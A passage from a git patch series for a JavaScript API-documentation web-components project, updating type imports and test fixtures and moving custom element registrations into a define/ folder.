+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2Authorization} OAuth2Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth1Authorization} OAuth1Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.DigestAuthorization} DigestAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BearerAuthorization} BearerAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
 
 describe('ApiAuthorizationEditorElement OAS tests', () => {
   /**
diff --git a/test/authorization/ApiAuthorizationEditorElement.raml.test.js b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
index 60d9639..786d654 100644
--- a/test/authorization/ApiAuthorizationEditorElement.raml.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
@@ -7,14 +7,14 @@ import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.j
 /** @typedef {import('../../index').ApiAuthorizationEditorElement} ApiAuthorizationEditorElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth1Authorization} OAuth1Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.DigestAuthorization} DigestAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.PassThroughAuthorization} PassThroughAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BasicAuthorization} BasicAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2Authorization} OAuth2Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth1Authorization} OAuth1Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.DigestAuthorization} DigestAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BearerAuthorization} BearerAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.PassThroughAuthorization} PassThroughAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
 
 describe('ApiAuthorizationEditorElement', () => {
   /**
diff --git a/test/authorization/CustomMethod.test.js b/test/authorization/CustomMethod.test.js
index 0bf422a..53ca93d 100644
--- a/test/authorization/CustomMethod.test.js
+++ b/test/authorization/CustomMethod.test.js
@@ -6,7 +6,7 @@ import '../../api-authorization-method.js';
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
+/** @typedef {import('@anypoint-web-components/awc').AnypointInputElement} AnypointInput */
 
 describe('RAML custom scheme', () => {
   /**
diff --git a/test/authorization/OAuth1Method.test.js b/test/authorization/OAuth1Method.test.js
index ed5c710..ab65803 100644
--- a/test/authorization/OAuth1Method.test.js
+++ b/test/authorization/OAuth1Method.test.js
@@ -1,12 +1,12 @@
 import { fixture, assert, aTimeout, nextFrame, html } from "@open-wc/testing";
-import { defaultSignatureMethods } from '@advanced-rest-client/authorization/src/lib/ui/OAuth1.js';
+import { defaultSignatureMethods } from '@advanced-rest-client/app/src/elements/authorization/ui/OAuth1.js';
 import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
+/** @typedef {import('@anypoint-web-components/awc').AnypointInputElement} AnypointInput */
 
 describe("OAuth 1", () => {
   /**
diff --git a/test/authorization/OAuth2Method.test.js b/test/authorization/OAuth2Method.test.js
index 5ceeb72..b84cbe2 100644
--- a/test/authorization/OAuth2Method.test.js
+++ b/test/authorization/OAuth2Method.test.js
@@ -1,12 +1,12 @@
 import { fixture, assert, aTimeout, nextFrame, html } from '@open-wc/testing';
-import { oauth2GrantTypes } from '@advanced-rest-client/authorization/src/lib/ui/OAuth2.js'
+import { oauth2GrantTypes } from '@advanced-rest-client/app/src/elements/authorization/ui/OAuth2.js'
 import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
+/** @typedef {import('@anypoint-web-components/awc').AnypointInputElement} AnypointInput */
 
 describe('OAuth 2', () => {
   /**
diff --git a/test/authorization/PassThroughMethod.test.js b/test/authorization/PassThroughMethod.test.js
index cc41b48..d25b07d 100644
--- a/test/authorization/PassThroughMethod.test.js
+++ b/test/authorization/PassThroughMethod.test.js
@@ -6,7 +6,7 @@ import '../../api-authorization-method.js';
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
+/** @typedef {import('@anypoint-web-components/awc').AnypointInputElement} AnypointInput */
 
 describe('Pass Through authorization', () => {
   /**
diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js
index e34a891..57f92ab 100644
--- a/test/elements/ApiOperationDocumentElement.test.js
+++ b/test/elements/ApiOperationDocumentElement.test.js
@@ -10,7 +10,7 @@ import '../../api-request-document.js';
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../src/helpers/amf').Operation} Operation */
-/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
+/** @typedef {import('@anypoint-web-components/awc').AnypointTabsElement} AnypointTabs */
 
 describe('ApiOperationDocumentElement', () => {
   const loader = new AmfLoader();
diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js
index 18883d2..e9d2634 100644
--- a/test/elements/ApiSchemaDocumentElement.test.js
+++ b/test/elements/ApiSchemaDocumentElement.test.js
@@ -11,7 +11,7 @@ import '../../api-schema-document.js';
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioButtonElement} AnypointRadioButtonElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioButtonElement} AnypointRadioButtonElement */
 
 describe('ApiSchemaDocumentElement', () => {
   const loader = new AmfLoader();
diff --git a/test/elements/ApiServerSelectorElement.test.js b/test/elements/ApiServerSelectorElement.test.js
index 188d234..aa6b9b3 100644
--- a/test/elements/ApiServerSelectorElement.test.js
+++ b/test/elements/ApiServerSelectorElement.test.js
@@ -86,10 +86,10 @@ describe('ApiServerSelectorElement', () => {
   /**
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function compatibilityFixture() {
+  async function anypointFixture() {
     return (fixture(html`<api-server-selector
       allowCustom
-      compatibility
+      anypoint
       ></api-server-selector>`));
   }
 
@@ -599,7 +599,7 @@ describe('ApiServerSelectorElement', () => {
         });
       });
 
-      describe('anypoint compatibility', () => {
+      describe('anypoint property', () => {
         /** @type AmfDocument */
         let model;
         /** @type ApiServerSelectorElement */
@@ -610,19 +610,19 @@ describe('ApiServerSelectorElement', () => {
         });
 
         beforeEach(async () => {
-          element = await compatibilityFixture();
+          element = await anypointFixture();
         });
 
-        it('sets compatibility on the dropdown', () => {
-          assert.isTrue(element.compatibility);
+        it('sets the anypoint property on the dropdown', () => {
+          assert.isTrue(element.anypoint);
         });
 
-        it('sets compatibility on the custom item', () => {
+        it('sets the anypoint property on the custom item', () => {
           const item = element.shadowRoot.querySelector('anypoint-item');
-          assert.isTrue(item.hasAttribute('compatibility'));
+          assert.isTrue(item.hasAttribute('anypoint'));
         });
 
-        it('sets compatibility on the server items', async () => {
+        it('sets the anypoint property on the server items', async () => {
           element.amf = model;
           await nextFrame();
           // class="custom-option"
@@ -630,16 +630,16 @@ describe('ApiServerSelectorElement', () => {
           const items = Array.from(nodes).filter((node) => node.getAttribute('value') !== 'custom');
           assert.isAbove(items.length, 0);
           for (let i = 0; i < items.length; i++) {
-            assert.isTrue(items[i].hasAttribute('compatibility'));
+            assert.isTrue(items[i].hasAttribute('anypoint'));
           }
         });
 
-        it('sets compatibility on the custom input', async () => {
+        it('sets the anypoint property on the custom input', async () => {
           element.type = 'custom';
           element.value = 'https://example.com';
           await nextFrame();
           const item = element.shadowRoot.querySelector('anypoint-input');
-          assert.isTrue(item.hasAttribute('compatibility'));
+          assert.isTrue(item.hasAttribute('anypoint'));
         });
       });
 
diff --git a/test/elements/HttpMethodLabelElement.test.js b/test/elements/HttpMethodLabelElement.test.js
deleted file mode 100644
index 66921a0..0000000
--- a/test/elements/HttpMethodLabelElement.test.js
+++ /dev/null
@@ -1,140 +0,0 @@
-import { fixture, assert, nextFrame, html } from '@open-wc/testing';
-import sinon from 'sinon';
-import '../../http-method-label.js';
-import { updateAccessibility } from '../../src/elements/HttpMethodLabelElement.js';
-
-/* eslint-disable no-plusplus */
-
-/** @typedef {import('../../').HttpMethodLabelElement} HttpMethodLabelElement */
-
-describe('HttpMethodLabelElement', () => {
-  /**
-   * @returns {Promise<HttpMethodLabelElement>}
-   */
-  async function getFixture() {
-    return fixture(html`<http-method-label method="get"></http-method-label>`);
-  }
-
-  /**
-   * @returns {Promise<Element>}
-   */
-  async function multiFixture() {
-    return fixture(html`<http-method-label method="get"></http-method-label>
-    <http-method-label method="POST"></http-method-label>
-    <http-method-label method="Put"></http-method-label>
-    <http-method-label method="delete"></http-method-label>
-    <http-method-label method="patch"></http-method-label>
-    <http-method-label method="test"></http-method-label>`);
-  }
-
-  function listTargets(first) {
-    const elements = [first];
-    let target = first;
-    const val = true;
-    while (val) {
-      const next = target && target.nextElementSibling;
-      if (next) {
-        elements.push(next);
-        target = next;
-      } else {
-        break;
-      }
-    }
-    return elements;
-  }
-
-  it('Has unique colors', async () => {
-    const first = await multiFixture();
-    const elements = listTargets(first);
-    const colors = [];
-    for (let i = 0, len = elements.length; i < len; i++) {
-      colors.push(getComputedStyle(elements[i]).color);
-    }
-    const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
-    assert.equal(elements.length, filteredArray.length);
-  });
-
-  it('Has unique background colors', async () => {
-    const first = await multiFixture();
-    const elements = listTargets(first);
-    const colors = [];
-    for (let i = 0, len = elements.length; i < len; i++) {
-      colors.push(getComputedStyle(elements[i]).backgroundColor);
-    }
-    const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
-    assert.equal(elements.length, filteredArray.length);
-  });
-
-  it('Sets title attribute on label change', async () => {
-    const element = await getFixture();
-    assert.isTrue(element.hasAttribute('title'), 'Has title attribute');
-    assert.equal(element.getAttribute('title'), 'get');
-  });
-
-  it('Removes title attribute', async () => {
-    const element = await getFixture();
-    element.method = undefined;
-    assert.isFalse(element.hasAttribute('title'));
-  });
-
-  it('Sets arial-label attribute on label change', async () => {
-    const element = await getFixture();
-    assert.isTrue(
-      element.hasAttribute('aria-label'),
-      'Has arial-label attribute'
-    );
-    assert.equal(element.getAttribute('aria-label'), 'get');
-  });
-
-  it('Removes arial-label attribute', async () => {
-    const element = await getFixture();
-    element.method = undefined;
-    assert.isFalse(element.hasAttribute('aria-label'));
-  });
-
-  it('updates rendered label when method change', async () => {
-    const element = await getFixture();
-    element.method = 'post';
-    await nextFrame();
-    await nextFrame();
-    assert.include(element.shadowRoot.innerHTML.trim(), '</style>post');
-  });
-
-  it('ignores update when method value is the same', async () => {
-    const element = await getFixture();
-    const spy = sinon.spy(element, updateAccessibility);
-    element.method = 'get';
-    assert.isFalse(spy.called);
-  });
-
-  it('can be initialized manually', () => {
-    const element = document.createElement('http-method-label');
-    element.method = 'get';
-  });
-
-  describe('AsyncAPI methods', () => {
-    it('Has unique colors', async () => {
-      const first = await fixture(`<http-method-label method="publish"></http-method-label>
-      <http-method-label method="SUBSCRIBE"></http-method-label>`);
-      const elements = listTargets(first);
-      const colors = [];
-      for (let i = 0, len = elements.length; i < len; i++) {
-        colors.push(getComputedStyle(elements[i]).color);
-      }
-      const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
-      assert.equal(elements.length, filteredArray.length);
-    });
-
-    it('Has unique background colors', async () => {
-      const first = await fixture(`<http-method-label method="publish"></http-method-label>
-      <http-method-label method="SUBSCRIBE"></http-method-label>`);
-      const elements = listTargets(first);
-      const colors = [];
-      for (let i = 0, len = elements.length; i < len; i++) {
-        colors.push(getComputedStyle(elements[i]).backgroundColor);
-      }
-      const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
-      assert.equal(elements.length, filteredArray.length);
-    });
-  })
-});
diff --git a/test/navigation/ApiNavigationElement.test.js b/test/navigation/ApiNavigationElement.test.js
index 9b109cc..9d6defe 100644
--- a/test/navigation/ApiNavigationElement.test.js
+++ b/test/navigation/ApiNavigationElement.test.js
@@ -31,7 +31,7 @@ import { EventTypes } from '../../src/events/EventTypes.js';
 
 /* eslint-disable no-plusplus */
 
-/** @typedef {import('@anypoint-web-components/anypoint-collapse').AnypointCollapseElement} AnypointCollapseElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
 /** @typedef {import('../../src/types').DocumentationItem} DocumentationItem */
 /** @typedef {import('../../src/types').TypeItem} TypeItem */
 /** @typedef {import('../../src/types').SecurityItem} SecurityItem */

From 71bf8aaf2d9d403c08df305100a47a05f4701bfb Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 20 Oct 2021 18:06:04 -0700
Subject: [PATCH 28/36] chore: moving components registration to define/ folder

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 api-annotation-document.js                         |  3 ---
 api-authorization-editor.js                        |  3 ---
 api-authorization-method.js                        |  4 ----
 api-channel-document.js                            |  3 ---
 api-documentation-document.js                      |  3 ---
 api-documentation.js                               |  3 ---
 api-navigation.js                                  |  3 ---
 api-operation-document.js                          |  3 ---
 api-parameter-document.js                          |  3 ---
 api-parametrized-security-scheme.js                |  3 ---
 api-payload-document.js                            |  3 ---
 api-request-document.js                            |  3 ---
 api-request-editor.js                              |  3 ---
 api-request.js                                     |  3 ---
 api-resource-document.js                           |  3 ---
 api-response-document.js                           |  3 ---
 api-response-view.js                               |  3 ---
 api-schema-document.js                             |  3 ---
 api-security-document.js                           |  3 ---
 api-security-requirement-document.js               |  3 ---
 api-server-selector.js                             |  3 ---
 api-summary.js                                     |  3 ---
 .../api-annotation-document.d.ts                   |  2 +-
 define/api-annotation-document.js                  |  3 +++
 .../api-authorization-editor.d.ts                  |  2 +-
 define/api-authorization-editor.js                 |  3 +++
 .../api-authorization-method.d.ts                  |  2 +-
 define/api-authorization-method.js                 |  4 ++++
 .../api-channel-document.d.ts                      |  2 +-
 define/api-channel-document.js                     |  3 +++
 .../api-documentation-document.d.ts                |  2 +-
 define/api-documentation-document.js               |  3 +++
 .../api-documentation.d.ts                         |  2 +-
 define/api-documentation.js                        |  3 +++
 api-navigation.d.ts => define/api-navigation.d.ts  |  2 +-
 define/api-navigation.js                           |  3 +++
 .../api-operation-document.d.ts                    |  2 +-
 define/api-operation-document.js                   |  3 +++
 .../api-parameter-document.d.ts                    |  2 +-
 define/api-parameter-document.js                   |  3 +++
 .../api-parametrized-security-scheme.d.ts          |  2 +-
 define/api-parametrized-security-scheme.js         |  3 +++
 .../api-payload-document.d.ts                      |  2 +-
 define/api-payload-document.js                     |  3 +++
 .../api-request-document.d.ts                      |  2 +-
 define/api-request-document.js                     |  3 +++
 .../api-request-editor.d.ts                        |  2 +-
 define/api-request-editor.js                       |  3 +++
 api-request.d.ts => define/api-request.d.ts        |  2 +-
 define/api-request.js                              |  3 +++
 .../api-resource-document.d.ts                     |  2 +-
 define/api-resource-document.js                    |  3 +++
 .../api-response-document.d.ts                     |  2 +-
 define/api-response-document.js                    |  3 +++
 .../api-response-view.d.ts                         |  2 +-
 define/api-response-view.js                        |  3 +++
 .../api-schema-document.d.ts                       |  2 +-
 define/api-schema-document.js                      |  3 +++
 .../api-security-document.d.ts                     |  2 +-
 define/api-security-document.js                    |  3 +++
 .../api-security-requirement-document.d.ts         |  2 +-
 define/api-security-requirement-document.js        |  3 +++
 .../api-server-selector.d.ts                       |  2 +-
 define/api-server-selector.js                      |  3 +++
 api-summary.d.ts => define/api-summary.d.ts        |  2 +-
 define/api-summary.js                              |  3 +++
 .../xhr-simple-request-transport.d.ts              |  2 +-
 define/xhr-simple-request-transport.js             |  3 +++
 .../xhr-simple-request.d.ts                        |  2 +-
 define/xhr-simple-request.js                       |  3 +++
 demo/api-annotation.js                             |  2 +-
 demo/api-channel.js                                |  2 +-
 demo/api-console.js                                |  6 +++---
 demo/api-documentation-document.js                 |  4 ++--
 demo/api-documentation-partial.js                  |  8 ++++----
 demo/api-documentation.js                          |  8 ++++----
 demo/api-editor.js                                 |  6 +++---
 demo/api-operation.js                              |  8 ++++----
 demo/api-payload.js                                |  2 +-
 demo/api-request.js                                |  6 +++---
 demo/api-resource.js                               |  8 ++++----
 demo/api-schema-documentation.js                   |  4 ++--
 demo/api-security-documentation.js                 |  2 +-
 demo/api-summary.js                                |  2 +-
 demo/lib/AmfDemoBase.js                            |  2 +-
 demo/request-editor.js                             |  4 ++--
 demo/server-selector.js                            |  4 ++--
 src/elements/ApiAuthorizationEditorElement.js      |  2 +-
 src/elements/ApiChannelDocumentElement.js          |  4 ++--
 src/elements/ApiDocumentationBase.js               |  2 +-
 src/elements/ApiDocumentationElement.js            | 14 +++++++-------
 src/elements/ApiOperationDocumentElement.js        |  6 +++---
 src/elements/ApiPayloadDocumentElement.js          |  2 +-
 src/elements/ApiRequestDocumentElement.js          |  4 ++--
 src/elements/ApiRequestEditorElement.js            |  4 ++--
 src/elements/ApiRequestElement.js                  |  4 ++--
 src/elements/ApiResourceDocumentElement.js         |  6 +++---
 src/elements/ApiResponseDocumentElement.js         |  4 ++--
 src/elements/ApiSecurityDocumentElement.js         |  4 ++--
 .../ApiSecurityRequirementDocumentElement.js       |  2 +-
 src/elements/SchemaCommonTemplates.js              |  2 +-
 src/elements/XhrSimpleRequestElement.js            |  2 +-
 .../ApiAuthorizationEditorElement.oas.test.js      |  2 +-
 .../ApiAuthorizationEditorElement.raml.test.js     |  2 +-
 .../ApiAuthorizationMethodElement.test.js          |  2 +-
 test/authorization/ApiKeyMethod.test.js            |  2 +-
 test/authorization/CustomMethod.test.js            |  2 +-
 test/authorization/OAuth1Method.test.js            |  2 +-
 test/authorization/OAuth2-21143.test.js            |  2 +-
 test/authorization/OAuth2-flows.test.js            |  2 +-
 test/authorization/OAuth2-pkce.test.js             |  2 +-
 test/authorization/OAuth2Method.test.js            |  2 +-
 test/authorization/PassThroughMethod.test.js       |  2 +-
 test/elements/ApiAnnotationDocumentElement.test.js |  2 +-
 .../ApiDocumentationDocumentElement.test.js        |  2 +-
 test/elements/ApiDocumentationElement.test.js      |  2 +-
 test/elements/ApiOperationDocumentElement.test.js  |  4 ++--
 test/elements/ApiRequestDocumentElement.test.js    |  2 +-
 test/elements/ApiResourceDocumentElement.test.js   |  2 +-
 test/elements/ApiResponseDocumentElement.test.js   |  2 +-
 test/elements/ApiSchemaDocumentElement.test.js     |  2 +-
 test/elements/ApiSecurityDocumentElement.test.js   |  2 +-
 .../ApiSecurityRequirementDocumentElement.test.js  |  2 +-
 test/elements/ApiServerSelectorElement.test.js     |  2 +-
 test/elements/ApiSummaryElement.test.js            |  2 +-
 test/elements/SE-12957.test.js                     |  2 +-
 test/http-request/APIC-289.test.js                 |  2 +-
 test/http-request/APIC-298.test.js                 |  2 +-
 test/http-request/APIC-689.test.js                 |  2 +-
 test/http-request/ApiRequestEditorElement.test.js  |  4 ++--
 test/http-request/ApiRequestElement.test.js        |  2 +-
 test/http-request/SE-12042.test.js                 |  2 +-
 test/http-request/SE-12957.test.js                 |  2 +-
 .../xhr-simple-request-transport.test.js           |  2 +-
 test/http-request/xhr-simple-request.test.js       |  2 +-
 test/navigation/ApiNavigationElement.test.js       |  2 +-
 test/navigation/amf-model.test.js                  |  2 +-
 test/navigation/documentation-fragment.test.js     |  2 +-
 test/navigation/oas-external-docs.test.js          |  2 +-
 test/navigation/oas-security.test.js               |  2 +-
 test/navigation/security-fragment.test.js          |  2 +-
 test/navigation/type-fragment.test.js              |  2 +-
 xhr-simple-request-transport.js                    |  3 ---
 xhr-simple-request.js                              |  3 ---
 144 files changed, 209 insertions(+), 209 deletions(-)
 delete mode 100644 api-annotation-document.js
 delete mode 100644 api-authorization-editor.js
 delete mode 100644 api-authorization-method.js
 delete mode 100644 api-channel-document.js
 delete mode 100644 api-documentation-document.js
 delete mode 100644 api-documentation.js
 delete mode 100644 api-navigation.js
 delete mode 100644 api-operation-document.js
 delete mode 100644 api-parameter-document.js
 delete mode 100644 api-parametrized-security-scheme.js
 delete mode 100644 api-payload-document.js
 delete mode 100644 api-request-document.js
 delete mode 100644 api-request-editor.js
 delete mode 100644 api-request.js
 delete mode 100644 api-resource-document.js
 delete mode 100644 api-response-document.js
 delete mode 100644 api-response-view.js
 delete mode 100644 api-schema-document.js
 delete mode 100644 api-security-document.js
 delete mode 100644 api-security-requirement-document.js
 delete mode 100644 api-server-selector.js
 delete mode 100644 api-summary.js
 rename api-annotation-document.d.ts => define/api-annotation-document.d.ts (59%)
 create mode 100644 define/api-annotation-document.js
 rename api-authorization-editor.d.ts => define/api-authorization-editor.d.ts (59%)
 create mode 100644 define/api-authorization-editor.js
 rename api-authorization-method.d.ts => define/api-authorization-method.d.ts (58%)
 create mode 100644 define/api-authorization-method.js
 rename api-channel-document.d.ts => define/api-channel-document.d.ts (59%)
 create mode 100644 define/api-channel-document.js
 rename api-documentation-document.d.ts => define/api-documentation-document.d.ts (59%)
 create mode 100644 define/api-documentation-document.js
 rename api-documentation.d.ts => define/api-documentation.d.ts (59%)
 create mode 100644 define/api-documentation.js
 rename api-navigation.d.ts => define/api-navigation.d.ts (59%)
 create mode 100644 define/api-navigation.js
 rename api-operation-document.d.ts => define/api-operation-document.d.ts (59%)
 create mode 100644 define/api-operation-document.js
 rename api-parameter-document.d.ts => define/api-parameter-document.d.ts (59%)
 create mode 100644 define/api-parameter-document.js
 rename api-parametrized-security-scheme.d.ts => define/api-parametrized-security-scheme.d.ts (58%)
 create mode 100644 define/api-parametrized-security-scheme.js
 rename api-payload-document.d.ts => define/api-payload-document.d.ts (59%)
 create mode 100644 define/api-payload-document.js
 rename api-request-document.d.ts => define/api-request-document.d.ts (59%)
 create mode 100644 define/api-request-document.js
 rename api-request-editor.d.ts => define/api-request-editor.d.ts (60%)
 create mode 100644 define/api-request-editor.js
 rename api-request.d.ts => define/api-request.d.ts (60%)
 create mode 100644 define/api-request.js
 rename api-resource-document.d.ts => define/api-resource-document.d.ts (59%)
 create mode 100644 define/api-resource-document.js
 rename api-response-document.d.ts => define/api-response-document.d.ts (59%)
 create mode 100644 define/api-response-document.js
 rename api-response-view.d.ts => define/api-response-view.d.ts (56%)
 create mode 100644 define/api-response-view.js
 rename api-schema-document.d.ts => define/api-schema-document.d.ts (60%)
 create mode 100644 define/api-schema-document.js
 rename api-security-document.d.ts => define/api-security-document.d.ts (59%)
 create mode 100644 define/api-security-document.js
 rename api-security-requirement-document.d.ts => define/api-security-requirement-document.d.ts (58%)
 create mode 100644 define/api-security-requirement-document.js
 rename api-server-selector.d.ts => define/api-server-selector.d.ts (60%)
 create mode 100644 define/api-server-selector.js
 rename api-summary.d.ts => define/api-summary.d.ts (60%)
 create mode 100644 define/api-summary.js
 rename xhr-simple-request-transport.d.ts => define/xhr-simple-request-transport.d.ts (59%)
 create mode 100644 define/xhr-simple-request-transport.js
 rename xhr-simple-request.d.ts => define/xhr-simple-request.d.ts (60%)
 create mode 100644 define/xhr-simple-request.js
 delete mode 100644 xhr-simple-request-transport.js
 delete mode 100644 xhr-simple-request.js

diff --git a/api-annotation-document.js b/api-annotation-document.js
deleted file mode 100644
index e54c310..0000000
--- a/api-annotation-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiAnnotationDocumentElement.js';
-
-window.customElements.define('api-annotation-document', Element);
diff --git a/api-authorization-editor.js b/api-authorization-editor.js
deleted file mode 100644
index 3cbc3fe..0000000
--- a/api-authorization-editor.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiAuthorizationEditorElement.js';
-
-window.customElements.define('api-authorization-editor', Element);
diff --git a/api-authorization-method.js b/api-authorization-method.js
deleted file mode 100644
index cecce69..0000000
--- a/api-authorization-method.js
+++ /dev/null
@@ -1,4 +0,0 @@
-
-import Element from './src/elements/ApiAuthorizationMethodElement.js';
-
-window.customElements.define('api-authorization-method', Element);
diff --git a/api-channel-document.js b/api-channel-document.js
deleted file mode 100644
index 4feeef4..0000000
--- a/api-channel-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiChannelDocumentElement.js';
-
-window.customElements.define('api-channel-document', Element);
diff --git a/api-documentation-document.js b/api-documentation-document.js
deleted file mode 100644
index 7fb7db1..0000000
--- a/api-documentation-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiDocumentationDocumentElement.js';
-
-window.customElements.define('api-documentation-document', Element);
diff --git a/api-documentation.js b/api-documentation.js
deleted file mode 100644
index ca86a39..0000000
--- a/api-documentation.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiDocumentationElement.js';
-
-window.customElements.define('api-documentation', Element);
diff --git a/api-navigation.js b/api-navigation.js
deleted file mode 100644
index bcc049c..0000000
--- a/api-navigation.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiNavigationElement.js';
-
-window.customElements.define('api-navigation', Element);
diff --git a/api-operation-document.js b/api-operation-document.js
deleted file mode 100644
index 33b34fa..0000000
--- a/api-operation-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiOperationDocumentElement.js';
-
-window.customElements.define('api-operation-document', Element);
diff --git a/api-parameter-document.js b/api-parameter-document.js
deleted file mode 100644
index 70f1d97..0000000
--- a/api-parameter-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiParameterDocumentElement.js';
-
-window.customElements.define('api-parameter-document', Element);
diff --git a/api-parametrized-security-scheme.js b/api-parametrized-security-scheme.js
deleted file mode 100644
index a7e65bf..0000000
--- a/api-parametrized-security-scheme.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiParametrizedSecuritySchemeElement.js';
-
-window.customElements.define('api-parametrized-security-scheme', Element);
diff --git a/api-payload-document.js b/api-payload-document.js
deleted file mode 100644
index 04ac73e..0000000
--- a/api-payload-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiPayloadDocumentElement.js';
-
-window.customElements.define('api-payload-document', Element);
diff --git a/api-request-document.js b/api-request-document.js
deleted file mode 100644
index 090f057..0000000
--- a/api-request-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiRequestDocumentElement.js';
-
-window.customElements.define('api-request-document', Element);
diff --git a/api-request-editor.js b/api-request-editor.js
deleted file mode 100644
index f1b6d28..0000000
--- a/api-request-editor.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiRequestEditorElement.js';
-
-window.customElements.define('api-request-editor', Element);
diff --git a/api-request.js b/api-request.js
deleted file mode 100644
index 56ee257..0000000
--- a/api-request.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiRequestElement.js';
-
-window.customElements.define('api-request', Element);
diff --git a/api-resource-document.js b/api-resource-document.js
deleted file mode 100644
index 9a72edf..0000000
--- a/api-resource-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiResourceDocumentElement.js';
-
-window.customElements.define('api-resource-document', Element);
diff --git a/api-response-document.js b/api-response-document.js
deleted file mode 100644
index 5923bed..0000000
--- a/api-response-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiResponseDocumentElement.js';
-
